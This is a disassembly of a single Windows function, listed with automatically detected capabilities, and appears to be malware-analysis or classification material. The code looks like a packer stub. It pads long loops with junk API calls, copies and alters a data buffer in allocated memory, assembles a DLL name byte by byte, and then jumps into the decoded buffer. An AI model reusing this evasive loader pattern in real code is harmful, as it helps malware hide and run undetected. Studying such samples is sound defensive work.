Function at 0x43ada0
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x449418
push eax
mov dword fs:[0], esp
sub esp, 0x830
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x43ade4
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x43adf5
inc esi
cmp esi, 0x67d12
jl 0x43add0
cmp dword [0x45a9f4], 0x93
jne 0x43aefa
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor esi, esi
push esi
lea eax, [ebp - 0x838]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
xor ecx, ecx
lock bts dword [ecx], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov eax, dword [ebp - 0x10]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSetDefaultProxyConfiguration]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
push 0x402dfc
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2c], 0
call fcn.0043c490
add esp, 4
push eax
push 0x402dfc
lea ecx, [ebp - 0x30]
call fcn.0043bac0
push esi
mov dword [ebp - 4], esi
call fcn.0043c2a5
add esp, 4
push esi
call fcn.0043c756
add esp, 4
push esi
push esi
call fcn.0043c785
push esi
push esi
call fcn.0043c28e
push esi
call fcn.0043c73f
add esp, 0x14
call fcn.0043ad90
push esi
push esi
call fcn.0043c8b2
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 0x10
jb 0x43aefa
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0043c790
add esp, 4
mov eax, dword [0x44ed94]
mov dword [0x45b830], eax
mov eax, dword [0x45a9f4]
add eax, 0x1134b
push eax
push 0
mov dword [0x45a9f4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x45a480], eax
call fcn.0043acd0
mov esi, 0x1692e
jmp 0x43af30
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x43af30
cmp dword [0x45a9f4], esi
jbe 0x43afac
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
nop
mov ecx, dword [0x45b830]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x45a480]
mov byte [eax + esi], dl
cmp dword [0x45a9f4], 0x490
jne 0x43afa3
push 0
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x45a9f4]
jb 0x43af50
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor eax, eax
mov dword [ebp - 0x10], eax
mov ecx, dword [0x45a9f4]
add ecx, eax
cmp ecx, 0x8d
jne 0x43b009
push 0
lea edx, [ebp - 0x838]
push edx
push 0
push 0
push 0
push 0
call esi
push 0x402e04
push 0x402e20
call edi
push 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x43afc3
call fcn.0043ab90
xor edi, edi
xor esi, esi
lea ecx, [ecx]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43b03e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x1183b
mov ecx, dword [ebp - 0x10]
add dword [0x45a480], ecx
inc esi
cmp esi, 0x674bd
jl 0x43b020
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x45a9f4], 0x86
jne 0x43b09a
push 0
call esi
push 0
lea edx, [ebp - 0x438]
push edx
push 0x402e34
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x45a9f4], 0xf
jne 0x43b0af
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
sub dword [ebp - 0x10], 1
jne 0x43b060
mov cl, 0x6c
mov al, 0x6d
push 0x451b10
mov byte [0x451b19], cl
mov byte [0x451b13], al
mov byte [0x451b14], 0x67
mov byte [0x451b18], 0x64
mov byte [0x451b1b], 0
mov byte [0x451b1a], cl
mov byte [0x451b17], 0x2e
mov byte [0x451b16], 0x32
mov byte [0x451b10], al
mov byte [0x451b12], 0x69
mov byte [0x451b15], 0x33
mov byte [0x451b11], 0x73
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45a480]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret